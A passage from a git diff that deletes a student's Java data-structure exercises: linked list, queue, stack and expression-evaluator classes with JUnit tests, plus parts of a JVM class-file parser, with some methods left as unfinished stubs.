-	 * 把该链表逆置
-	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-	 */
-	public void reverse(){		
-		
-	}
-	
-	/**
-	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-	 * @param i
-	 * @param length
-	 */
-	public void remove(int i, int length){
-		if (i <= 0 || length<=0){
-			throw new RuntimeException("起始值、结束值都不能小于0等于");
-		}
-		int len = length + i;
-		if (len > size){
-			throw new RuntimeException("删除索引长度超过了链表长度");
-		}
-		Node e = head;
-		int y = 0;
-		while (e.next != null){
-			y++;
-			if (y == i){
-				Node n = e.next;
-				while (n!=null){
-					n = n.next;
-					if (y == length){
-						break;
-					}
-					y++;
-					n=n.next;
-				}
-			}
-			e=e.next;
-		}
-	}
-	
-	/**
-	 * 假定当前链表和list均包含已升序排列的整数
-	 * 从当前链表中取出那些list所指定的元素
-	 * 例如当前链表 = 11->101->201->301->401->501->601->701
-	 * listB = 1->3->4->6
-	 * 返回的结果应该是[101,301,401,601]  
-	 * @param list
-	 */
-	public int[] getElements(LinkedList list){
-		if (list==null||list.head==null){
-			throw new RuntimeException("集合没有初始化");
-		}
-		int[] elements = new int[Integer.parseInt(list.head.data.toString())];
-		Node l = list.head;
-		Node n = head;
-		int len = 0;
-		int i = 0;
-		while (l.next!=null){
-			len = 0;
-			n=head;
-			while(n.next!=null){
-				len++;
-				if(len==Integer.parseInt(l.next.data.toString())){
-					elements[i]=Integer.parseInt(n.next.data.toString());
-					i++;
-					break;
-				}
-				n=n.next;
-			}
-			l = l.next;
-		}
-		return elements;
-	}
-	
-	/**
-	 * 删除一个单链表的前半部分
-	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-
-	 */
-	public  void removeFirstHalf(){
-		
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 从当前链表中中删除在list中出现的元素 
-
-	 * @param list
-	 */
-	
-	public void subtract(LinkedList list){
-		if (list==null||list.head==null){
-			throw new RuntimeException("集合没有初始化");
-		}
-		Node l = list.head;
-		Node n = head;
-		int i = 0;
-		while (l.next!=null){
-			n=head;
-			i=0;
-			while(n.next!=null){
-				i++;
-				if(n.next.data.equals(l.next.data)){
-					remove(i);
-					break;
-				}
-				n=n.next;
-			}
-			l = l.next;
-		}
-	}
-	
-	/**
-	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-	 */
-	public void removeDuplicateValues(){
-		
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-	 * 11->101->201->301->401->501->601->701
-	 * @param min
-	 * @param max
-	 */
-	public void removeRange(int min, int max){
-		if (min<=0||max<=0||min>max){
-			throw new RuntimeException("录入不正确："+min+","+max+" 应该大于min且小于max的元素");
-		}
-		Node n = head;
-		int data = 0;
-		Node p = null;
-		while(n.next != null){
-			data=Integer.parseInt(n.next.data.toString());	//11
-			if(data>min&&data<max){
-				p = n.next.next;	//101
-				n.next = p;
-				size--;
-			}else{
-				n = n.next;
-			}
-		}
-		head.data=size;
-	}
-	
-	/**
-	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-	 * @param list
-	 */
-	public  LinkedList intersection( LinkedList list){
-		return null; 
-	}
-
-	public void add(int index, Object o) {
-		// TODO Auto-generated method stub
-		
-	}
-	
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/queue/CircleQueue.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/queue/CircleQueue.java
deleted file mode 100644
index b26e98cd5d..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/basic/queue/CircleQueue.java
+++ /dev/null
@@ -1,50 +0,0 @@
-package com.github.orajavac.coding2017.basic.queue;
-
-public class CircleQueue <E>{
-private final static int DEFAULT_SIZE = 8;
-	
-	//用数组来保存循环队列的元素
-	private Object[] elementData = new Object[DEFAULT_SIZE] ;
-	
-	//队头
-	private int front = 0;  
-	//队尾  
-	private int rear = 0;
-	
-	public boolean isEmpty() {
-		if (front==0&&rear==0){
-			return true;
-		}
-		return false;
-        
-    }
-
-    public int size() {
-        return DEFAULT_SIZE;
-    }
-
-    
-
-    public void enQueue(E data) {
-    	if (rear==DEFAULT_SIZE&&elementData[0]==null){
-    		rear = 0;
-    		elementData[rear]=data;
-    	}else if (elementData[rear]==null){
-			elementData[rear]=data;
-		}else{
-			throw new RuntimeException("队列已满");
-		}
-    	rear++;
-    }
-
-    @SuppressWarnings("unchecked")
-	public E deQueue() {
-    	Object o = elementData[front];
-    	elementData[front] = null;
-    	front++;
-    	if (front == DEFAULT_SIZE){
-    		front = 0;
-    	}
-        return (E)o;
-    }
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/queue/Josephus.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/queue/Josephus.java
deleted file mode 100644
index 05e692a8aa..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/basic/queue/Josephus.java
+++ /dev/null
@@ -1,40 +0,0 @@
-package com.github.orajavac.coding2017.basic.queue;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * 用Queue来实现Josephus问题
- * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
- * 该方法返回一个List， 包含了被杀死人的次序
- * @author liuxin
- *
- */
-public class Josephus {
-	
-	public static List<Integer> execute(int n, int m){
-		CircleQueue<Integer> q = new CircleQueue<Integer>();
-		List<Integer> l = new ArrayList<Integer>();
-		for (int i=1;i<=n;i++){
-			q.enQueue(i);
-		}
-		for (int i=0;i<n;i++){
-			for (int j=0;j<m;j++){
-				Integer c = q.deQueue();
-				if (j==m-1){
-					l.add(c);
-				}else{
-					q.enQueue(c);
-				}
-			}
-		}
-		return l;
-	}
-	
-	public static void main(String[] args){
-		List<Integer> l = execute(8,4);
-		for (int i=0;i<l.size();i++){
-			System.out.print(l.get(i)+" ");
-		}
-	}
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/queue/QueueWithTwoStacks.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/queue/QueueWithTwoStacks.java
deleted file mode 100644
index 86eba777d8..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/basic/queue/QueueWithTwoStacks.java
+++ /dev/null
@@ -1,42 +0,0 @@
-package com.github.orajavac.coding2017.basic.queue;
-
-import java.util.Stack;
-
-public class QueueWithTwoStacks<E> {
-	private Stack<E> stack1;    
-    private Stack<E> stack2;    
-
-    
-    public QueueWithTwoStacks() {
-        stack1 = new Stack<E>();
-        stack2 = new Stack<E>();
-    }
-
-    public boolean isEmpty() {
-        return stack1.size()==0;
-    }
-
-
-    
-    public int size() {
-        return stack1.size();   
-    }
-
-
-
-    public void enQueue(E item) {
-    	int len1 = stack1.size();
-    	for (int i=0;i<len1;i++){
-    		stack2.push(stack1.pop());
-    	}
-    	stack1.push(item);
-    	int len2 = stack2.size();
-    	for (int i=0;i<len2;i++){
-    		stack1.push(stack2.pop());
-    	}
-    }
-
-    public E deQueue() {
-        return stack1.size()!=0?stack1.pop():null;
-    }
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/Stack.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/Stack.java
deleted file mode 100644
index 499b4a33e4..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/Stack.java
+++ /dev/null
@@ -1,49 +0,0 @@
-package com.github.orajavac.coding2017.basic.stack;
-
-import com.github.orajavac.coding2017.basic.linklist.LRUPageFrame;
-
-public class Stack {
-	
-	private LRUPageFrame l;
-	
-	public Stack(int capacity){
-		l = new LRUPageFrame(capacity);
-	}
-	
-	public Stack(){
-		l = new LRUPageFrame();
-	}
-	
-	public void push(Object o){
-		//l.addFirst(o);
-		l.add(o);
-	}
-	
-	public Object pop(){
-		return l.remove();
-	}
-	
-	public Object popLow(){
-		return l.removeLow();
-	}
-	
-	public String toString(){
-		return l.lastToString();
-	}
-	
-	public Object[] getElements(int len){
-		return l.getElements(len);
-	}
-	
-	public void remove(Object obj){
-		l.remove(obj, null);
-	}
-	
-	public Object getFirstNode(){
-		return l.getFirstNode();
-	}
-	
-	public int length(){
-		return l.getLength();
-	}
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/StackUtil.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/StackUtil.java
deleted file mode 100644
index 178d595a91..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/StackUtil.java
+++ /dev/null
@@ -1,102 +0,0 @@
-package com.github.orajavac.coding2017.basic.stack;
-
-public class StackUtil {
-	
-	/**
-	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
-	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 */
-	public static void reverse(Stack s) {
-		System.out.println(s.toString());
-	}
-
-	/**
-	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 * 
-	 * @param o
-	 */
-	public static void remove(Stack s,Object o) {
-		s.remove(o);
-	}
-
-	/**
-	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
-	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 * @param len
-	 * @return
-	 */
-	public static Object[] getTop(Stack s,int len) {
-		return s.getElements(len);
-	}
-	/**
-	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
-	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
-	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
-	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
-	 * @param s
-	 * @return
-	 */
-	public static boolean isValidPairs(Stack s,String str){
-		for (int i=0;i<str.length();i++){
-			char c1 = str.charAt(i);
-			if(isLeftCase(c1)){
-				s.push(c1);	//左符号压栈
-			}else if (isRightCase(c1)){
-				Object obj = s.getFirstNode();
-				char[] c = obj.toString().toCharArray();
-				if(isCase(c[0],c1)){	//左、右匹配
-					s.remove(obj);
-				}else{
-					return false;
-				}
-			}
-		}
-		return true;
-	}
-	
-	/**
-	 * StackUtil 使用
-	 * @param c1
-	 * @param c2
-	 * @return
-	 */
-	public static boolean isCase(char c1,char c2){
-	    if(c1=='('&&c2==')')
-	        return true;
-	    if(c1=='{'&&c2=='}')
-	        return true;
-	    if(c1=='['&&c2==']')
-	        return true;
-	    return false;//其他的都返回false
-	};
-	
-	/**
-	 * StackUtil 使用
-	 * @param c1
-	 * @return
-	 */
-	public static boolean isLeftCase(char c1){
-		if(c1=='(')
-	        return true;
-	    if(c1=='{')
-	        return true;
-	    if(c1=='[')
-	        return true;
-	    return false;//其他的都返回false
-	};
-	
-	/**
-	 * StackUtil 使用
-	 * @param c1
-	 * @return
-	 */
-	public static boolean isRightCase(char c1){
-		if(c1==')')
-	        return true;
-	    if(c1=='}')
-	        return true;
-	    if(c1==']')
-	    	return true;
-	    return false;//其他的都返回false
-	};
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/InfixExpr.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/InfixExpr.java
deleted file mode 100644
index a6b4e86a38..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/InfixExpr.java
+++ /dev/null
@@ -1,95 +0,0 @@
-package com.github.orajavac.coding2017.basic.stack.expr;
-
-import java.util.HashMap;
-import java.util.Map;
-import com.github.orajavac.coding2017.basic.stack.Stack;
-import com.github.orajavac.coding2017.jvm.util.Util;
-
-public class InfixExpr {
-	
-	String expr = null;
-	
-	private final String ADD = "+";
-	
-	private final String SUB = "-";
-	
-	private final String MUL = "*";
-	
-	private final String DIV = "/";
-	
-	private Map<String,Integer> operator = new HashMap<String,Integer>();
-	
-	private Stack oper = new Stack();
-	
-	private Stack num = new Stack();
-	
-	public InfixExpr(String expr) {
-		this.expr = expr;
-		this.operator.put(this.ADD,1);
-		this.operator.put(this.SUB,1);
-		this.operator.put(this.MUL,2);
-		this.operator.put(this.DIV,2);
-	}
-
-	public float evaluate() {
-		Object[] obj = Util.parseOperNumToArray(this.expr);
-		String key = null;
-		for (int i=0;i<obj.length;i++){
-			key = obj[i].toString();
-			if (this.operator.containsKey(key)){
-				pushOper(key);
-			}else{
-				num.push(key);
-			}
-		}
-		//处理栈里剩余运算符和数字
-		int len = oper.length();
-		while (len!=0){
-			operation(oper.pop(),num.pop(),num.pop());
-			len--;
-		}
-		//System.out.println("运算式结果: "+Float.parseFloat(num.pop().toString()));
-		return Float.parseFloat(num.pop().toString());
-	}
-	
-	public void pushOper(Object key){
-		//即将放入运算符与栈顶运算符比较		3-4*5+2
-		int y = oper.length();
-		for (int i=0;i<y;i++){
-			Object op = oper.pop();
-			int level1 = this.operator.get(op);
-			int level2 = this.operator.get(key);
-			if (level1 > level2){	//2+3*4+5	栈顶运算符大于即将入压运算符
-				operation(op,num.pop(),num.pop());
-			}else if (level1 == level2){	//3-20+2	栈顶运算符等于即将入压运算符
-				operation(op,num.pop(),num.pop());
-			}else{
-				oper.push(op);	//把刚刚弹出，再压入栈
-				oper.push(key);
-			}
-		}
-		if (oper.length() == 0){
-			oper.push(key);
-		}
-	}
-	
-	public void operation(Object oper,Object num1,Object num2){
-		Integer result = null;
-		if(oper.equals("*")){
-			result = Integer.parseInt(num1.toString()) * Integer.parseInt(num2.toString());
-			num.push(result);
-		}
-		if(oper.equals("/")){
-			result = Integer.parseInt(num2.toString()) / Integer.parseInt(num1.toString());
-			num.push(result);
-		}
-		if(oper.equals("+")){
-			result = Integer.parseInt(num1.toString()) + Integer.parseInt(num2.toString());
-			num.push(result);
-		}
-		if(oper.equals("-")){
-			result = Integer.parseInt(num2.toString()) - Integer.parseInt(num1.toString());
-			num.push(result);
-		}
-	}
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/InfixExprTest.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/InfixExprTest.java
deleted file mode 100644
index 733f48c7bb..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/InfixExprTest.java
+++ /dev/null
@@ -1,55 +0,0 @@
-package com.github.orajavac.coding2017.basic.stack.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class InfixExprTest {
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		//InfixExpr expr = new InfixExpr("300*20+12*5-20/4");
-		{
-			InfixExpr expr = new InfixExpr("2+3*4+5");
-			Assert.assertEquals(19.0, expr.evaluate(), 0.001f);
-		}
-		{
-			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
-			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("3*20+12*5-40/2+6");
-			Assert.assertEquals(106.0, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("3*20/2");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("20/2*3");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("10-30+50");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("3-4*5+2");
-			Assert.assertEquals(-15, expr.evaluate(), 0.001f);
-		}
-		
-	}
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PostfixExpr.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PostfixExpr.java
deleted file mode 100644
index c3528d0abe..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PostfixExpr.java
+++ /dev/null
@@ -1,81 +0,0 @@
-package com.github.orajavac.coding2017.basic.stack.expr;
-
-import java.util.HashMap;
-import java.util.Map;
-import com.github.orajavac.coding2017.basic.stack.Stack;
-import com.github.orajavac.coding2017.jvm.util.Util;
-
-/*
- * 后序表达式
- */
-public class PostfixExpr {
-	
-	String expr = null;
-	
-	private final String ADD = "+";
-	
-	private final String SUB = "-";
-	
-	private final String MUL = "*";
-	
-	private final String DIV = "/";
-	
-	private Map<String,Integer> operator = new HashMap<String,Integer>();
-	
-	private Stack num = new Stack();
-	
-	public PostfixExpr(String expr) {
-		this.expr = expr;
-		this.operator.put(this.ADD,1);
-		this.operator.put(this.SUB,1);
-		this.operator.put(this.MUL,2);
-		this.operator.put(this.DIV,2);
-	}
-
-	public float evaluate() {
-		String[] expr = Util.parseOperatorToArray(this.expr);
-		for (int i=0;i<expr.length;i++){
-			if (this.operator.containsKey(expr[i])){
-				Float f1 = Float.parseFloat(num.pop().toString());	//6
-				Float f2 = Float.parseFloat(num.pop().toString());	//10
-				if(isOperator(expr[i].charAt(0))){	//对于减法，f1,f2互换
-					float f3 = f2;
-					f2 = f1;
-					f1 = f3;					
-				}
-				num.push(calculate(expr[i],f1,f2));
-			}else{
-				num.push(expr[i]);
-			}
-		}
-		return Float.parseFloat(num.pop().toString());
-	}
-	
-	private Float calculate(String op, Float f1, Float f2){
-		if(op.equals("+")){
-			return f1+f2;
-		}
-		if(op.equals("-")){
-			return f1-f2;
-		}
-		if(op.equals("*")){
-			return f1*f2;
-		}
-		if(op.equals("/")){
-			return f1/f2;
-		}
-		throw new RuntimeException(op + " is not supported");
-	}
-	
-	private boolean isOperator(char c1){
-		if(c1=='+')
-	        return true;
-	    if(c1=='/')
-	        return true;
-	    if(c1=='-')
-	    	return true;
-	    if(c1=='*')
-	    	return true;
-	    return false;//其他的都返回false
-	};
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PostfixExprTest.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PostfixExprTest.java
deleted file mode 100644
index 91be8dae70..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PostfixExprTest.java
+++ /dev/null
@@ -1,35 +0,0 @@
- package com.github.orajavac.coding2017.basic.stack.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class PostfixExprTest {
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
-			Assert.assertEquals(288.0, expr.evaluate(),0.0f);
-		}
-		{
-			//9+(3-1)*3+10/2
-			PostfixExpr expr = new PostfixExpr("9 3 1 - 3 * + 10 2 / +");
-			Assert.assertEquals(20.0, expr.evaluate(),0.0f);
-		}
-		
-		{
-			//10-2*3+50
-			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
-			Assert.assertEquals(54.0, expr.evaluate(),0.0f);
-		}
-	}
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PrefixExpr.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PrefixExpr.java
deleted file mode 100644
index c802efc4e0..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PrefixExpr.java
+++ /dev/null
@@ -1,68 +0,0 @@
-package com.github.orajavac.coding2017.basic.stack.expr;
-
-import java.util.HashMap;
-import java.util.Map;
-import com.github.orajavac.coding2017.jvm.util.Util;
-import com.github.orajavac.coding2017.basic.stack.Stack;
-
-/*
- * 前序表达式
- */
-public class PrefixExpr {
-	
-	String expr = null;
-	
-	private final String ADD = "+";
-	
-	private final String SUB = "-";
-	
-	private final String MUL = "*";
-	
-	private final String DIV = "/";
-	
-	private Map<String,Integer> operator = new HashMap<String,Integer>();
-	
-	private Stack num = new Stack();
-	
-	public PrefixExpr(String expr) {
-		this.expr = expr;
-		this.operator.put(this.ADD,1);
-		this.operator.put(this.SUB,1);
-		this.operator.put(this.MUL,2);
-		this.operator.put(this.DIV,2);
-	}
-
-	public float evaluate() {
-		String[] expr = Util.parseOperatorToArray(this.expr);
-		/**
-		 * 4*2 + 6+9*2/3 -8
-		 * - + + 6 / *2 9 3 * 4 2 8
-		 */
-		for (int i=expr.length-1;i>=0;i--){
-			if (this.operator.containsKey(expr[i])){
-				num.push(calculate(expr[i],
-						Float.parseFloat(num.pop().toString()),
-						Float.parseFloat(num.pop().toString())));
-			}else{
-				num.push(expr[i]);
-			}
-		}
-		return Float.parseFloat(num.pop().toString());
-	}
-	
-	private Float calculate(String op, Float f1, Float f2){
-		if(op.equals("+")){
-			return f1+f2;
-		}
-		if(op.equals("-")){
-			return f1-f2;
-		}
-		if(op.equals("*")){
-			return f1*f2;
-		}
-		if(op.equals("/")){
-			return f1/f2;
-		}
-		throw new RuntimeException(op + " is not supported");
-	}
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PrefixExprTest.java b/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PrefixExprTest.java
deleted file mode 100644
index a27e05caa9..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/basic/stack/expr/PrefixExprTest.java
+++ /dev/null
@@ -1,42 +0,0 @@
-package com.github.orajavac.coding2017.basic.stack.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class PrefixExprTest {
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			// 2*3+4*5 
-			PrefixExpr expr = new PrefixExpr("+ * 2 3 * 4 5");
-			Assert.assertEquals(26.0, expr.evaluate(),0.001f);
-		}
-		{
-			// 4*2 + 6+9*2/3 -8
-			PrefixExpr expr = new PrefixExpr("- + + 6 / * 2 9 3 * 4 2 8");
-			Assert.assertEquals(12.0, expr.evaluate(),0.001f);
-		}
-		{
-			//(3+4)*5-6
-			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
-			Assert.assertEquals(29.0, expr.evaluate(),0.001f);
-		}
-		{
-			//1+((2+3)*4)-5
-			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
-			Assert.assertEquals(16.0, expr.evaluate(),0.001f);
-		}
-		
-		
-	}
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/AttributeInfo.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/AttributeInfo.java
deleted file mode 100644
index 77ea35c265..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/AttributeInfo.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.github.orajavac.coding2017.jvm.attr;
-
-public abstract class AttributeInfo {
-
-	public static final String CODE = "Code";
-	public static final String CONST_VALUE = "ConstantValue";
-	public static final String EXCEPTIONS = "Exceptions";
-	public static final String LINE_NUM_TABLE = "LineNumberTable";
-	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
-	public static final String STACK_MAP_TABLE = "StackMapTable";
-	int attrNameIndex;				
-	int attrLen ;
-	public AttributeInfo(int attrNameIndex, int attrLen) {
-		
-		this.attrNameIndex = attrNameIndex;
-		this.attrLen = attrLen;
-	}
-
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/CodeAttr.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/CodeAttr.java
deleted file mode 100644
index acffda0f88..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/CodeAttr.java
+++ /dev/null
@@ -1,93 +0,0 @@
-package com.github.orajavac.coding2017.jvm.attr;
-
-import com.github.orajavac.coding2017.jvm.clz.ClassFile;
-import com.github.orajavac.coding2017.jvm.cmd.ByteCodeCommand;
-import com.github.orajavac.coding2017.jvm.constant.ConstantPool;
-import com.github.orajavac.coding2017.jvm.loader.ByteCodeIterator;
-
-public class CodeAttr extends AttributeInfo{
-
-	private int maxStack ;
-	private int maxLocals ;
-	private int codeLen ;
-	private String code;
-	public String getCode() {
-		return code;
-	}
-
-	private ByteCodeCommand[] cmds ;
-	public ByteCodeCommand[] getCmds() {
-		return cmds;
-	}
-	private LineNumberTable lineNumTable;
-	private LocalVariableTable localVarTable;
-	private StackMapTable stackMapTable;
-	
-	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
-		super(attrNameIndex, attrLen);
-		this.maxStack = maxStack;
-		this.maxLocals = maxLocals;
-		this.codeLen = codeLen;
-		this.code = code;
-		//this.cmds = cmds;
-	}
-
-	public void setLineNumberTable(LineNumberTable t) {
-		this.lineNumTable = t;
-	}
-
-	public void setLocalVariableTable(LocalVariableTable t) {
-		this.localVarTable = t;		
-	}
-	
-	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
-		int attrNameIndex = iter.nextU2ToInt();
-		int attrLen = iter.nextU4ToInt();
-		int maxStack = iter.nextU2ToInt();
-		int maxLocals = iter.nextU2ToInt();
-		int codeLen = iter.nextU4ToInt();
-		String code = iter.nextUxToHexString(codeLen);
-		CodeAttr codeAttr = new CodeAttr(attrNameIndex,attrLen,maxStack,maxLocals,codeLen,code);
-		int exceptionTableLen = iter.nextU2ToInt();
-		if (exceptionTableLen>0){
-			String exTable = iter.nextUxToHexString(exceptionTableLen);
-		}
-		int subAttrCount = iter.nextU2ToInt();
-		for (int x=1;x<=subAttrCount;x++){
-			int subAttrIndex = iter.nextU2ToInt();
-			String subAttrName = clzFile.getConstantPool().getUTF8String(subAttrIndex);
-			iter.back(2);
-			if(AttributeInfo.LINE_NUM_TABLE.equalsIgnoreCase(subAttrName)){
-				LineNumberTable t = LineNumberTable.parse(iter);
-				codeAttr.setLineNumberTable(t);
-			}else if (AttributeInfo.LOCAL_VAR_TABLE.equalsIgnoreCase(subAttrName)){
-				LocalVariableTable t = LocalVariableTable.parse(iter);
-				codeAttr.setLocalVariableTable(t);
-			}else if (AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(subAttrName)){
-				StackMapTable t = StackMapTable.parse(iter);
-				codeAttr.setStackMapTable(t);
-			}else{
-				throw new RuntimeException("need code to process");
-			}
-		}
-		return null;
-	}
-	
-	public String toString(ConstantPool pool){
-		StringBuilder buffer = new StringBuilder();
-		//buffer.append("Code:").append(code).append("\n");
-		for(int i=0;i<cmds.length;i++){
-			buffer.append(cmds[i].toString(pool)).append("\n");
-		}
-		buffer.append("\n");
-		buffer.append(this.lineNumTable.toString());
-		buffer.append(this.localVarTable.toString(pool));
-		return buffer.toString();
-	}
-	
-	private void setStackMapTable(StackMapTable t) {
-		this.stackMapTable = t;
-		
-	}
-
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/LineNumberTable.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/LineNumberTable.java
deleted file mode 100644
index 2fd7714bcb..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/LineNumberTable.java
+++ /dev/null
@@ -1,40 +0,0 @@
-package com.github.orajavac.coding2017.jvm.attr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.github.orajavac.coding2017.jvm.loader.ByteCodeIterator;
-
-public class LineNumberTable extends AttributeInfo  {
-	
-	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
-	
-	private static class LineNumberItem{
-		int startPC;
-		int lineNum;
-		public int getStartPC() {
-			return startPC;
-		}
-		public void setStartPC(int startPC) {
-			this.startPC = startPC;
-		}
-		public int getLineNum() {
-			return lineNum;
-		}
-		public void setLineNum(int lineNum) {
-			this.lineNum = lineNum;
-		}
-	}
-	public void addLineNumberItem(LineNumberItem item){
-		this.items.add(item);
-	}
-	public LineNumberTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);
-		
-	}
-	
-	public static LineNumberTable parse(ByteCodeIterator iter){
-		
-		return null;
-	}
-}
diff --git a/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/LocalVariableItem.java b/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/LocalVariableItem.java
deleted file mode 100644
index 5ddd8ce997..0000000000
--- a/group02/562768642/src/com/github/orajavac/coding2017/jvm/attr/LocalVariableItem.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.github.orajavac.coding2017.jvm.attr;
-
-public class LocalVariableItem {
-	private int startPC;
-	private int length;
-	private int nameIndex;
-	private int descIndex;
-	private int index;
-	public int getStartPC() {
-		return startPC;
-	}
-	public void setStartPC(int startPC) {
-		this.startPC = startPC;
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getNameIndex() {
-		return nameIndex;
-	}
-	public void setNameIndex(int nameIndex) {
-		this.nameIndex = nameIndex;
-	}
-	public int getDescIndex() {
-		return descIndex;
-	}
-	public void setDescIndex(int descIndex) {
-		this.descIndex = descIndex;
-	}
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-}
